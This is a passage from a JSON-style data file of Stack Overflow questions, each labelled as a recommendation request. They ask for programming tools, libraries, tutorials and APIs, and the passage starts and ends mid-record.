\"HighSpeed\" parameter in TCanvas.DrawBitmap is set to False (and looking at it's Delphi code, it isn't even used with a GPU canvas).</p>\n"},{"Classification":"Recommendation request","Title":"What language to use to create an online game to match pictures with text?","Body":"<p>I'm interested in creating a game where pictures (of scientists and their names) can be matched with text (their achievements). I know some Python but I'm not sure if this can be done in Python. I've seen some things online suggesting that JavaScript is a good option. Anyone know what language would be best/ have any tutorials you recommend? Thanks!</p>\n"},{"Classification":"Recommendation request","Title":"Firebase And PHP","Body":"<p>I'm studying Firebase and I'm going to use PHP as a backend language, could you point me links so I can study how to do a crud on the firebase? I would not like answers like google search, because I already did this and so far the links did not please me.</p>\n"},{"Classification":"Recommendation request","Title":"Harddrive functions in C# using the winapi","Body":"<p>i have to do some several harddrive functions (expand, retrieve informations) using the winapi. Unfortunately i was using a powershell script. I have to solve this in C#. But have no glue, how to start.</p>\n\n<p>What is the best way to start it on ?</p>\n\n<p>Greetings</p>\n"},{"Classification":"Recommendation request","Title":"How to automatically check sphinx docstring references in python?","Body":"<p>I write sphinx-compatible docstrings in Python, and I often have to add cross-references to other docstrings, within an API or to external resources. Things like:</p>\n\n<pre><code>:py:meth:`MyModule.MyClass.my_method`\n</code></pre>\n\n<p>This is very tedious, as I have no good tool for completing these references automatically (using SublimeText3). Even worse, I have no good way to check if all these references are correct. </p>\n\n<p>The questions then are:</p>\n\n<ul>\n<li><em>Is there any linter for the sphinx docstring references?</em> I am surprised that such a tool is not widely available.</li>\n<li><em>Is there any SublimeText plugin for filling sphinx references?</em></li>\n</ul>\n\n<p>Searching here or elsewhere lead me to nothing. A colleague suggested me to use pycharm, but it seems silly to change editor for this reason, or only for writing docstrings.</p>\n"},{"Classification":"Recommendation request","Title":"Best API to get live sports scores for iOS application","Body":"<p>Are there any cheap API's that provide live sports scores?</p>\n"},{"Classification":"Recommendation request","Title":"How to Connect Google Drive in C#","Body":"<p>1.I need to Connect Google Drive in c# \n2.After Connect Load a List of Files and Folders in the Google Drive \n3.And Want to Upload a Local File in the Google Drive \n----Which is Best to Use it SDK or Rest API\nThere having any Reference Link for u Means Share Me </p>\n"},{"Classification":"Recommendation request","Title":"Other Utilities available like http://keystore-explorer.org/","Body":"<p>I'm looking for utilities like <a href=\"http://keystore-explorer.org/\" rel=\"nofollow noreferrer\">http://keystore-explorer.org/</a></p>\n\n<p>pls let me know the other alternatives.</p>\n\n<p>thanks.</p>\n"},{"Classification":"Recommendation request","Title":"How to find specified key in yaml file using intellij idea?","Body":"<p>I have YAML file containing for example below text</p>\n\n<pre><code>server:\n port: 8084\n session:\n timeout: 600\n</code></pre>\n\n<p>Assuming there are many yaml files each containing a lot of lines, it is difficult to find certain key, for example 'server.session.timeout'. If I try to find it using ctrl+shift+f it won't work because of new line characters and 'port' property betweeen. Is there any plugin or hidden function that allows such search in YAML files?</p>\n"},{"Classification":"Recommendation request","Title":"integrate components of devexpress with in visual studio IDE","Body":"<p>I would like to know how to integrate the components of devexpress 13 in visual studio 2015, I do not really find the information on the internet; thank you in advance</p>\n"},{"Classification":"Recommendation request","Title":"Where to get the missing data-binding and routing features?","Body":"<p>I love ES6 and it does solve 99% of missing elements in JS</p>\n\n<p>However there are 2 missing features for me to not try to learn framweorks like AngularJS or React.</p>\n\n<ol>\n<li><p>data-binding</p>\n\n<p>is there a simple JS lib that would just do some one way databinding like</p>\n\n<pre><code>&lt;div class=\"{{user.classUser}}\"&gt;Username is: {{user.username}}&lt;/div&gt;\n</code></pre>\n\n<p>I don't really care about 2 way data-binding.</p></li>\n<li><p>simple routing library to build some SAP applications. I found that: <a href=\"https://github.com/krasimir/navigo\" rel=\"nofollow noreferrer\">https://github.com/krasimir/navigo</a></p></li>\n</ol>\n\n<p>I don't care too much about speed (virtual DOM) and I would like to keep on using jQuery sometimes</p>\n\n<p>So far, I found hundreds of blogs that compare AngularJS, React, Vue, SlipJS, Knockout... But I could not find a simple data-binding library without a full complex framework to learn and master.</p>\n"},{"Classification":"Recommendation request","Title":"Your application has been suspended google play","Body":"<p>I have a question about google play console ..</p>\n\n<p>I have (website/forum) and I made WebView app I upload it to google play \nafter 2hours I got this Email :</p>\n\n<p><a href=\"https://i.stack.imgur.com/HijTo.png\" rel=\"nofollow noreferrer\">enter image description here</a></p>\n\n<p><a href=\"https://i.stack.imgur.com/HijTo.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/HijTo.png\" alt=\"enter image description here\"></a></p>\n\n<p>and Iam the owner for the site.\n( my website has no ADS or popup ads )</p>\n\n<p>or just google no longer allowed to publish web browsers that are based on WebView ??</p>\n\n<p>Thanks</p>\n"},{"Classification":"Recommendation request","Title":"Multiple sensor&#39;s data plot in daily time-series","Body":"<p>I'm try to plot accelerometer values from the raspberrypi with Highchartjs in daily time-series. Here is sample data:</p>\n\n<p><a href=\"https://i.stack.imgur.com/qaEJC.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/qaEJC.png\" alt=\"enter image description here\"></a></p>\n\n<p>I want to plot multiple spline chart (x, y, z coordinate) accordingly to the time format that stored in the database. How do I get it done by using HighchartJS</p>\n"},{"Classification":"Recommendation request","Title":"deleting some parts of a file and retaining others","Body":"<p>There are some text files in which a pattern looking like what follows is repeated:</p>\n\n<blockquote>\n <p>...</p>\n \n <p>OW 521</p>\n \n <p>10.70132657 -2.037224435 -4.444141634</p>\n \n <p>-0.817624916056 1.19868446232 1.41008390143</p>\n \n <p>4127.20493695 -5776.28791178 -1788.57812105</p>\n \n <p>HW 522</p>\n \n <p>10.52611639 -1.427649611 -3.727237413</p>\n \n <p>5.15493695300 2.94372911755 1.38597796144</p>\n \n <p>-3644.95531557 11681.1668840 8672.94450809</p>\n \n <p>HW 523</p>\n \n <p>10.49052795 -1.543004326 -5.236317224</p>\n \n <p>-7.17255889097 -0.644836313498 1.95100727278</p>\n \n <p>-4429.92811995 7917.33613625 -8793.16800451</p>\n \n <p>QW 524</p>\n \n <p>10.65039757 -1.891592084 -4.454072861</p>\n \n <p>-0.868074956786 1.18569149799 1.47827028700</p>\n \n <p>4474.64170378 -13551.0343505 -216.325783168</p>\n \n <p>...</p>\n</blockquote>\n\n<p>and I'd like it to look like this:</p>\n\n<blockquote>\n <p>...</p>\n \n <p>HW 10.52611639 -1.427649611 -3.727237413</p>\n \n <p>HW 10.49052795 -1.543004326 -5.236317224</p>\n \n <p>QW 10.65039757 -1.891592084 -4.454072861</p>\n</blockquote>\n\n<p>It means that I want to remove the whole OW part. Then, for other parts I need to omit the number after XW (522,523,524). Finally, I just want the first line after XW to be retained just in front of XW.</p>\n\n<p>I tried sed command but I finally got confused!</p>\n\n<p>Any help would be appreciated.</p>\n\n<p>Thanks.</p>\n"},{"Classification":"Recommendation request","Title":"How to prune unexecuted Python code?","Body":"<p>I'm trying to extract Python source code that was executed, removing any functions that weren't called and any branches that weren't executed, but otherwise leaving everything else intact.</p>\n\n<p>For example, if I'd like to extract the specific-source code from <code>pandas</code> that is responsible for creating of a <code>pandas</code> Series data frame, I'd run:</p>\n\n<pre><code>import coverage\ncov = coverage.Coverage(cover_pylib=False, source=[\"pandas\"])\ncov.start()\n\nimport pandas as pd\n# show me what happens here inside pandas:\ns = pd.Series([1,2])\n\ncov.stop(); cov.save(); cov.html_report()\n</code></pre>\n\n<p>except <code>coverage</code> doesn't do that. I'm trying to figure out how to do quite the reverse.</p>\n\n<p>I searched high and low, and the closest I found was <a href=\"https://stackoverflow.com/questions/3883484/using-python-code-coverage-tool-for-understanding-and-pruning-back-source-code-o\">this post</a>, which discusses the difficulties of accomplishing what I'm after, but no concrete solutions were offered. That post is from 2010, so perhaps in 8 years since, someone has come up with a working solution. </p>\n\n<p>Please note that I'm not looking for a production-quality code - I understand that due to the dynamic nature of python, it could be tricky to make it 100% correct. But for the purpose of study 90%-correctness/coverage would be good enough. The post I linked to desired a production-level correctness/coverage.</p>\n\n<p>The following methods I tried and they don't accomplish what I need:</p>\n\n<ol>\n<li>call graphs</li>\n<li>python's <code>trace</code></li>\n<li>debuggers that step through the code.</li>\n</ol>\n\n<p>I just want the <em>pruned</em> version of the source code to make it easier to quickly grasp what's going on.</p>\n"},{"Classification":"Recommendation request","Title":"How to study for nginx and database?","Body":"<p>so currently I got a study task from my intern boss. The task is to write two http json api to achieve 1. set user name by user id then store it in both mysql and redis 2. read user name by user id through redis and mysql. And he told me to use nginx, redis and mysql. Previously I have no experiences in networks and database so I am trying to study them. So far I understand that redis is acting like a cache for the database as we want to increase how data i/o speed; mysql is just where we can store the data in it; nginx is a http server and it takes the http request and process them then send them to the database. However, what i don't understand or not sure are \n1: are the purposes of those apis to retrieve processed http request from nginx then send them to mysql and redis?\n2: if the inputs for nginx are http requests, what is the output? processed http requests? \n3: what other knowledges do i need to know to accomplish this task</p>\n"},{"Classification":"Recommendation request","Title":"Where can you actually write a practice website in code and test it out?","Body":"<p>I would like to actually start writing a website from scratch, using html, css, php, and sql code. Does anyone know where you can do that? I have no real idea where to start.</p>\n\n<p>I wouldn't need any fancy hosting stuff, I just want to write something from scratch and build on it as I go along, as a way of learning.</p>\n\n<p>Thank You So Much</p>\n"},{"Classification":"Recommendation request","Title":"data-slno, data-min, data-delay property in html tag","Body":"<p>I want to add <strong>animation</strong> to my website. I have seen <strong><code>data-min, data-max, data-delay</code></strong> on <strong><code>div</code> Tag</strong>. \nWhat are they? How can I use them in my website? Where can I read about them?</p>\n\n<p>I want to add animation effects to the following so when my page loads after some delay, content will be displayed in an animated way. </p>\n\n<p>1) Slider should <code>fadeIn(2000)</code> after page loads. </p>\n\n<p>2) When user scrolls and the About Us section comes onto the screen, I want it to come from left side in position.</p>\n\n<p>3) Contact Us section comes from right side, similar to About Us.</p>\n\n<p>4) A count should increment automatically when it comes on screen. </p>\n\n<p>I've read and watched some youtube videos but have not been successful.\nPlease help and give full source code and tutorial link for more information about this.</p>\n"},{"Classification":"Recommendation request","Title":"Organizing the files of a project for multiplatform and easy-to-use","Body":"<p>Several years ago I created a C++ project. I used to write the code using nano and I compiled and linked it using a Makefile. </p>\n\n<p>I simply had all the files into a single directory (including .cpp, .h and the Makefile itself).</p>\n\n<p>For instance, I had a single inc.h file which was included in every single .cpp file, for example, something I now acknowledge as not very clean.</p>\n\n<p>I would like to upload it to Github to make it accessible for anyone that wants to use it, with the problem being I can't seem to find any <em>guide</em> on how should I arrange the files (As there is, e.g., for <a href=\"https://methodsblog.wordpress.com/2015/11/30/building-your-first-r-package/\" rel=\"nofollow noreferrer\">creating packages in R</a>). I have tried using Code::Blocks but I haven't managed to make the project work, so, </p>\n\n<p>Can anyone point me to a guide that explains how to properly organize the code and data for C++ projects?</p>\n"},{"Classification":"Recommendation request","Title":"Where would I start if I want to create my own text editor on the UWP platform?","Body":"<p>Where would I start if I want to create my own text editor on the UWP platform?\nThe TextBox and RichEditBox have many limitations that hinder my requirements for a text control, and so I would like to create my own. I know it will be a long tedious process, but I don't mind putting in the work. I just don't even know what APIs to begin with. Thanks.</p>\n"},{"Classification":"Recommendation request","Title":"telegram plus messenger source code","Body":"<p>I want to release one unofficial app using Telegram API that have tabbing \nso found Telegram plus messenger in this address : \n( <a href=\"https://play.google.com/store/apps/details?id=org.telegram.plus\" rel=\"nofollow\">https://play.google.com/store/apps/details?id=org.telegram.plus</a> ) \nand its source in GitHub at : <a href=\"https://github.com/rafalense/Plus-Messenger\" rel=\"nofollow\">https://github.com/rafalense/Plus-Messenger</a>\nbut it is source of old version (2.5.2.1)\nhow can find new version of plus messenger source code ?</p>\n"},{"Classification":"Recommendation request","Title":"ActiveX Control to record audio in IE11","Body":"<p>I am looking for an ActiveX control (free or not) to allow a web user capture audio from mic and record it in any format in Internet Explorer 11.</p>\n\n<p>Flash, Silverlight or Java Applet are not an option in my particular case and HTML5 unfortunate neither in IE11.</p>\n\n<p>I have been looking for weeks but all I found was a plugin from Temasys that although it allows to capture audio it doesn't allow to record or process it in the local browser.</p>\n\n<p>Thanks</p>\n"},{"Classification":"Recommendation request","Title":"Is it possible to use Superpowered with Flutter?","Body":"<p>I never used any of these, but I'm looking for solutions to develop an app that needs audio processing capabilities (mainly spatialization).</p>\n"},{"Classification":"Recommendation request","Title":"Performance difference among http request libraries","Body":"<p>There are lot's of http request libraries avaialble on NPM. I am little confused and no idea which one should be better for me.</p>\n\n<p>For example, <a href=\"https://github.com/request/request-promise\" rel=\"nofollow noreferrer\">request-promise</a> and <a href=\"https://github.com/axios/axios\" rel=\"nofollow noreferrer\">axios</a>, they are both promised-based HTTP client. Is there any difference especially regarding performance between these two? </p>\n\n<p>I am currently developing an React app with common Ajax demand, so I would like to know in which case request-promise or axios is better. Or, either one is totally okay?</p>\n"},{"Classification":"Recommendation request","Title":"Is there a panoramic photo stitcher in R?","Body":"<p>I have several photos, with partial overlapping, that are taken from the same environment, is there a way to stitch them together into one photo using R? (either with some connection to an image processing library, or maybe with an api to some online service?)</p>\n\n<p>Thanks.</p>\n"},{"Classification":"Recommendation request","Title":"Looking for a weather API that gives off Typhoon details","Body":"<p>I'm trying to create a site for Flood-prediction purposes. \nI'm looking for an API that displays the details of a typhoon (Typhoon Category, Typhoon Name, etc) and the rest will be done by a Machine Learning Algo. I have trained a machine to accept Typhoon Categories and its downpour date as its features, which will then give off Locations of the possible affected places. </p>\n\n<p>I just need an API that can give me both the data mentioned above. Any tips for this? Should i go directly to our country's weather system and use their APIs instead? Any tips will be appreciated! Thanks!</p>\n"},{"Classification":"Recommendation request","Title":"AutoComplete tool Angular 6","Body":"<p>I want to implement AutoComplete functionality for zipcode(To populate state and city) in my Angular 6 application. Can anyone please share any well known tool or any example with me.</p>\n\n<p>Note: It should also provide Down/Up arrow functionality. Means I should be ale to scroll on items with Down/Up arrow keys of key board to select any value.</p>\n\n<p>Thnaks </p>\n"},{"Classification":"Recommendation request","Title":"IDE for existing project in Linux","Body":"<p>We are working on an old project in C++ Linux. </p>\n\n<p>The project uses Linux native compiler, dbx for debugging, nedit editor makefiles etc.</p>\n\n<p>Is there an IDE that can simplify the working (maybe give some intelisence, simple navigation in the code while editing and debugging simplify the work with the makefiles, friendly debugging etc..) </p>\n\n<p>Some important notes: </p>\n\n<ul>\n<li>Because the code is under source control (Clear Case) we do not want\nto change the files we don't edit (Because that will create massive\nchanges in the files and make it impossible to track changes). (means no change by the IDE to the files unless we need to do actual code changes)</li>\n<li>The formatting of the code is horrible and we do a lot of dry debugging\non it. If we could enter a file to the editor and get a formatted\nversion of it (just to be able to read it easily) it would be grate.</li>\n<li>If we can have a debugger that does the same (Format the code and allows easy navigation on it while debugging) it would be grate also.</li>\n</ul>\n\n<p>Reedditing after cancellation </p>\n\n<p>Sorry but I don't understand the \"Closed as off-topic\" boolshit. The most important decisions a programmer make is what Environment/tool to use. These decisions have much more effect on his work from some technical \"how to\" problem in some language. This is more important in projects that needs some advanced so there requirements are not standard and the limitation on the ability to check tools are large. I think I made an exact description on the problem in hope that I can get recommendations for IDE's that can solve my problem. </p>\n\n<p>As a responssible programmer I am aware that I coul'd get spam/personal opinions but in the programming world there is something like checking, testing etc... </p>\n\n<p>Buy the way StackOverflow is full of personal opinions it's.</p>\n\n<p>Ilan</p>\n"},{"Classification":"Recommendation request","Title":"How to create Dialog in IBM Watson by uploading CSV FILES","Body":"<p>I am building chatbot on IBM Watson. \nI have around 1000 Intents and I have to create Dialog for every intent.\nIs there any way to create these dialogs with the help of csv file or some simple way.</p>\n"},{"Classification":"Recommendation request","Title":"Where can I download the Informix ADO.NET Provider?","Body":"<p>We have decided to add Informix support to our application. I wrongly assumed there would be an Informix package on NuGet then I wrongly assumed that IBM would have a download link for the software on their website. But alas no. After an hour of failing to find out where the download link was I had to give up. They have some byzantine process of getting the actual software. Sooo, does anyone know where or how I can obtain the Windows 64 bit ADO.NET provider for Informix? A link would be great but I'd settle for the instructions to get through the IBM website/maze.</p>\n"},{"Classification":"Recommendation request","Title":"Animate flat-style WinForm elements","Body":"<p>I want to animate my GUI with these flat, material shapes, or in this style like in the GIF file.\nWhat is the simplest way to do this when I'm a VB.net developer for three years, working only in VS (2015; 2017)?</p>\n\n<p><img src=\"https://i.stack.imgur.com/hozA7.gif\" alt=\"Animated UI\"></p>\n"},{"Classification":"Recommendation request","Title":"Any library in react to create the directed graph","Body":"<p>Is there any library available in react for creating the directed graph as shown in the attached screenshot ? Here As you can see, Asset AB is created using the addition of A and B, and final product is created using the addition of AB and D.<a href=\"https://i.stack.imgur.com/C4t77.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/C4t77.png\" alt=\"enter image description here\"></a></p>\n"},{"Classification":"Recommendation request","Title":"Need help in using date-fns with Ionic","Body":"<p>I am looking to move from momentjs to date-fns. Although I have been trying for couple of hours, I am not able to get the correct format, period, timelines, etc… I could not find date-fns official guide of much use. I will be glad if anyone can suggest a tutorial, a link, or examples on how they have used it on their specific page with HTML and TS samples.</p>\n"},{"Classification":"Recommendation request","Title":"C# Window login form application","Body":"<p>I want to create C# Window login form application and I want that login form to connect to my SQL database and open the second form. I tried most tutorials but is failing to connect to my database. Please help</p>\n"},{"Classification":"Recommendation request","Title":"How to migrate plugin from Maven to Gradle","Body":"<p>I have an Android project where Maven was used, not I want to migrate it to Gradle, but having a problem with plugin migration. Can you explain me the plugin migration logic or is that possible just use it as it is in Maven in Gradle ?</p>\n\n<p>This is one of my plugins, so how can I use it in Gradle ?</p>\n\n<pre><code> &lt;plugin&gt;\n &lt;groupId&gt;org.apache.maven.plugins&lt;/groupId&gt;\n &lt;artifactId&gt;maven-jarsigner-plugin&lt;/artifactId&gt;\n &lt;executions&gt;\n &lt;execution&gt;\n &lt;id&gt;signing&lt;/id&gt;\n &lt;goals&gt;\n &lt;goal&gt;sign&lt;/goal&gt;\n &lt;goal&gt;verify&lt;/goal&gt;\n &lt;/goals&gt;\n &lt;phase&gt;package&lt;/phase&gt;\n &lt;inherited&gt;true&lt;/inherited&gt;\n &lt;configuration&gt;\n &lt;removeExistingSignatures&gt;true&lt;/removeExistingSignatures&gt;\n &lt;archiveDirectory /&gt;\n &lt;includes&gt;\n &lt;!--&lt;include&gt;\n ${project.build.directory}/${project.artifactId}.apk\n &lt;/include&gt;--&gt;\n &lt;include&gt;\n ${project.build.directory}/${brand}-app-${project.parent.version}.apk\n &lt;/include&gt;\n &lt;/includes&gt;\n &lt;keystore&gt;${sign.keystore}&lt;/keystore&gt;\n &lt;alias&gt;${sign.alias}&lt;/alias&gt;\n &lt;storepass&gt;${sign.storepass}&lt;/storepass&gt;\n &lt;keypass&gt;${sign.keypass}&lt;/keypass&gt;\n &lt;verbose&gt;true&lt;/verbose&gt;\n &lt;/configuration&gt;\n &lt;/execution&gt;\n &lt;/executions&gt;\n &lt;/plugin&gt;\n</code></pre>\n"},{"Classification":"Recommendation request","Title":"Signing Jar Files in java","Body":"<p>Need a good link to refer from A to Z regarding signing jar files in java. </p>\n\n<p>With examples would be helpful</p>\n\n<p>Any automated tool is available to sign the jar</p>\n\n<p>Thanks.</p>\n"},{"Classification":"Recommendation request","Title":"Start coding direclty from Spring-boot?","Body":"<p>Am new to coding. Knows the basic core java. Recently I worked with spring-boot for creating a Rest microservice and found it very interesting.\nNow that I would like to learn spring-boot and be a spring professional. But should I be able to start directly with spring boot?</p>\n"},{"Classification":"Recommendation request","Title":"How to predict Quote Type using Machine Learning?","Body":"<p>I want to predict whether a quote is motivational or not. I have a set of 1 Lack records for training purpose. \nI have implemented the same using \"Naive Bayles\" algorithm in Machine Learning. \nSomeone please suggest, how machine can understand the exact meaning of the quote and predict its type.</p>\n\n<p>Thanks</p>\n"},{"Classification":"Recommendation request","Title":"galaxy s9 camera grip","Body":"<p>i recently bought a samsung s9+. It is a very nice phone with very good camera, but the phone's shape doesn't help with comfort grip gor taking pictures. The interface in galaxy camera app is good, but not very comfy for manual adjustments, it takes forever to adjust everything as you want on the touchscreen. So i did a research and found that there is a product that suits the case but it is intented to use more on iPhone. I am thinking to make one by my own. So how hard would it be and what would i need? My requirements are:</p>\n\n<ul>\n<li>Have wheels (rotary encoders i think) for the shutter speed, ISO and zoom</li>\n<li>Have separate button for the aperture to switch between 1.5 and 2.4</li>\n<li>Have shutter button like a DSLR - half press focus and full press shot</li>\n<li>Add weight to the case so it be better to hold, maybe with batteries</li>\n<li>Integrate with the samsung camera app. That is not so important, the case could work with other camera app like the Google's one</li>\n</ul>\n"},{"Classification":"Recommendation request","Title":"Does anyone know a good implementation of models optimization of neural networks with genetic algorithms?","Body":"<p>I'm trying to make a genetic algorithm that evolve the model and the weights at same time but it's getting really hard to deal with (actually I've been making based on a thesis I found, but it's hard), so I just wonder if exist an implementation I can study to improve my own implementation.</p>\n\n<p>Also if any of you have good advice for this it'll help me.</p>\n"},{"Classification":"Recommendation request","Title":"Is there any free/test storage location where we can upload file through URL","Body":"<p>I'm working on c# program to upload the file to a storage location through url. I don't have any storage location to test whether my program is working fine. Could anyone please advise me whether there is any free/test storage location is available where we can upload the files through url?</p>\n"},{"Classification":"Recommendation request","Title":"Testing of Kurento media server with video conference and screen share","Body":"<p>hello I'm developed a video conference web application with kurento media server. so I want to test kurento media server. please share testing tool name to add 200 or 300 user add on kurento media server.</p>\n"},{"Classification":"Recommendation request","Title":"Java rule engine for Android","Body":"<p>I'm trying to develop an Android app which will diagnosis dog diseases. I already have the knowledge base which is composed by 60 rules that can diagnose 15 diseases, the smallest rule have about 10 conditions. </p>\n\n<p>I searched about how to solve this problem, and I think using a rule engine that works with backward chaining is the way to go. The problem is every rule engine, seems to work only if I provide all inputs before fire the rules.</p>\n\n<p>Since it meant to diagnose diseases, I think the approach is, ask a question to the user wait for the answer then validate rules, excluding the rules which doesn't match to the given condition. Then ask for next condtion based on remaining rules.</p>\n\n<p>Example: Rule 1 </p>\n\n<pre><code>if puppy &amp; male &amp; scratching himself... then disease1\n</code></pre>\n\n<p>The questions go like</p>\n\n<pre><code>1:The dog is a puppy?\n2:The dog is male?\n3:The dog is scratching himself?\n</code></pre>\n\n<p>With which rule engine, can I have this behavior?</p>\n"},{"Classification":"Recommendation request","Title":"Gradle vs. Maven: Which one is the best option for Android development","Body":"<p>What are the major differences between Gradle and Apache Maven? Why do they benefit in Android applications?</p>\n"},{"Classification":"Recommendation request","Title":"What web hosting is best for an image hosting website?","Body":"<p>I am having problem with my shares hosting is has a daily CPU limit and I want to know what kind of web hosting would be good for an image hosting website.</p>\n"},{"Classification":"Recommendation request","Title":"Any starter app with Java + Angular?","Body":"<p>Just want to know if you know about any starter app on Github for:\nJava + Hibernate + Spring + Angular 5</p>\n\n<p>Is there any official repository for this?</p>\n\n<p>Thanks!</p>\n"},{"Classification":"Recommendation request","Title":"save a word document through php","Body":"<p>I have a word document edited in php (cakephp). I want to create a function to also convert the word doc saved to a pdf. I am using cakephp.\nIs there a free version of something to simply save a word doc to pdf through a cakephp function.</p>\n\n<p>I am not after a book or software and have no idea why this question was confusing for some. I have a cakephp project and i created a word doc in php code which then needs to just copy this also to a pdf format through a php script! I have a coding question </p>\n\n<p>I am confused here about how to ask this question about coding. \nI see it could something to do with com class and saveas</p>\n\n<p><a href=\"https://stackoverflow.com/questions/5538584/convert-word-doc-docx-and-excel-xls-xlsx-to-pdf-with-php\">Convert Word doc, docx and Excel xls, xlsx to PDF with PHP</a></p>\n"},{"Classification":"Recommendation request","Title":"Azure Solr-as-a-Service","Body":"<p>I'm looking for an alternative for my on premise Solr Cluster.\nI see, there is a pre-configured Solr Cluster in the Azure Marketplace, offered by Bitnami, but:</p>\n\n<ul>\n<li>this marketplace offer is based on Ubuntu 14.04 - isn't this a security risk?</li>\n<li>How is this maintained? Let's say, a newer version of Solr is published: Do I have to upgrade by myself? Or is it done by Bitnami?</li>\n<li>Is there any alternative in the Azure world, which is <strong>not</strong> IaaS? I know there is Azure Search, but this is more or less an Elasticsearch, not a Solr.</li>\n</ul>\n"},{"Classification":"Recommendation request","Title":"Is GolangLibs officially supported by Golang/Google?","Body":"<p>Is GolangLibs (<a href=\"https://golanglibs.com/\" rel=\"nofollow noreferrer\">https://golanglibs.com/</a>) officially supported by Golang/Google?</p>\n\n<p>I didn't find anything on their website. </p>\n"},{"Classification":"Recommendation request","Title":"Where can I find microarchitecture diagrams of Intel core processors?","Body":"<p>I need the microarchitecture diagrams of all 8 generation of Intel core processor(Intel core i7). Google search is not giving me the expected results. So can someone help me out by providing some sources please? </p>\n"},{"Classification":"Recommendation request","Title":"Population Markov Chain Monte Carlo Algorithm / Matlab","Body":"<p>I'm looking for a matlab or python code for Population Markov Chain Monte Carlo Algorithm (PopMCMC) as described <a href=\"https://link.springer.com/article/10.1023/A:1020206129842\" rel=\"nofollow noreferrer\">this paper</a>, please help me. this is my first time I use this algorithm </p>\n"},{"Classification":"Recommendation request","Title":"Wordpress Multisites - Allowing users to create their own micro site?","Body":"<p>I am looking for a plugin/functionality that would allow the users of a website to create their own mini micro sites which share a common theme, but would allow the 'owner' of the micro sit to do some basic changes such as change the logo, and colours.</p>\n\n<p>Ideally what I wanted was if a member met certain requirements on the main 'mother' website than they would have have an option available to them to tick a box on a form, fill out some details and then the micro site would be automatically generated for them.</p>\n\n<p>So far I have not found a plug-in that has this capability, and I am wondering if this is going to need some custom development needed. But was hoping if anyone here was aware of such a plug-in then they could give me some recommendations?</p>\n\n<p>Thanks!</p>\n"},{"Classification":"Recommendation request","Title":"Database to store large binary files of malware","Body":"<p>So, I am trying to create a database that can store thousands of malware binary files with sizes ranging anywhere from kb's to 50 mb. I am currently testing with cassandra using blobs but of course with files that big cassandra isn't handling it that well. Does anyone have any good ideas maybe for a better database or maybe a better way to go about using cassandra. I am relatively new to databases so please be as detailed as possible.\nThank You </p>\n"},{"Classification":"Recommendation request","Title":"How to change chart type dynamically in r based on contains of dataframe","Body":"<p>I want to populate different charts in an R shiny dashboard based on dynamically generated data frame.\nFor example, if the data contains :\n- only numeric is at date level: a line chart should be generated \n- categorical and numeric data : a bar or stack bar chart should be populated \n- multiple numeric fields at date level : line chart with legend </p>\n\n<p>Do we have any lib available in R which can generate chart suggestion?</p>\n\n<p>Thanks in advance :)</p>\n"},{"Classification":"Recommendation request","Title":"How do you convert unicode string to escapes in bash?","Body":"<p>I need a tool that will translate the unicode string into escape characters like \\u0230.</p>\n\n<p>For example, </p>\n\n<pre><code>echo ãçé | convert-unicode-tool\n\\u00e3\\u00e7\\u00e9\n</code></pre>\n"},{"Classification":"Recommendation request","Title":"How can I use this library correctly?","Body":"<p>I'm trying to an Epub Reader using <a href=\"http:///http://www.siegmann.nl/epublib/android\" rel=\"nofollow noreferrer\">Epublib</a>. But I search all of the internet and this site, but cant figure out how to use correctly. I apply the instructions but when I run the app it is crashed or see nothing. How can ı solve this?</p>\n\n<p>here is my logcat : </p>\n\n<pre><code>07-12 15:23:34.489 2754-2754/com.edep.useepublib D/dalvikvm: Late-enabling CheckJNI\n07-12 15:23:34.521 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.view.Window$Callback.onPointerCaptureChanged, referenced from method android.support.v7.view.WindowCallbackWrapper.onPointerCaptureChanged\n07-12 15:23:34.521 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve interface method 16217: Landroid/view/Window$Callback;.onPointerCaptureChanged (Z)V\n07-12 15:23:34.521 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x72 at 0x0002\n07-12 15:23:34.521 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.view.Window$Callback.onProvideKeyboardShortcuts, referenced from method android.support.v7.view.WindowCallbackWrapper.onProvideKeyboardShortcuts\n07-12 15:23:34.521 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve interface method 16219: Landroid/view/Window$Callback;.onProvideKeyboardShortcuts (Ljava/util/List;Landroid/view/Menu;I)V\n07-12 15:23:34.521 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x72 at 0x0002\n07-12 15:23:34.521 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to find class referenced in signature (Landroid/view/SearchEvent;)\n07-12 15:23:34.521 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.view.Window$Callback.onSearchRequested, referenced from method android.support.v7.view.WindowCallbackWrapper.onSearchRequested\n07-12 15:23:34.521 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve interface method 16221: Landroid/view/Window$Callback;.onSearchRequested (Landroid/view/SearchEvent;)Z\n07-12 15:23:34.521 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x72 at 0x0002\n07-12 15:23:34.521 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.view.Window$Callback.onWindowStartingActionMode, referenced from method android.support.v7.view.WindowCallbackWrapper.onWindowStartingActionMode\n07-12 15:23:34.521 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve interface method 16225: Landroid/view/Window$Callback;.onWindowStartingActionMode (Landroid/view/ActionMode$Callback;I)Landroid/view/ActionMode;\n07-12 15:23:34.521 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x72 at 0x0002\n07-12 15:23:34.537 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.content.res.TypedArray.getChangingConfigurations, referenced from method android.support.v7.widget.TintTypedArray.getChangingConfigurations\n07-12 15:23:34.537 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 706: Landroid/content/res/TypedArray;.getChangingConfigurations ()I\n07-12 15:23:34.537 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0002\n07-12 15:23:34.537 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.content.res.TypedArray.getType, referenced from method android.support.v7.widget.TintTypedArray.getType\n07-12 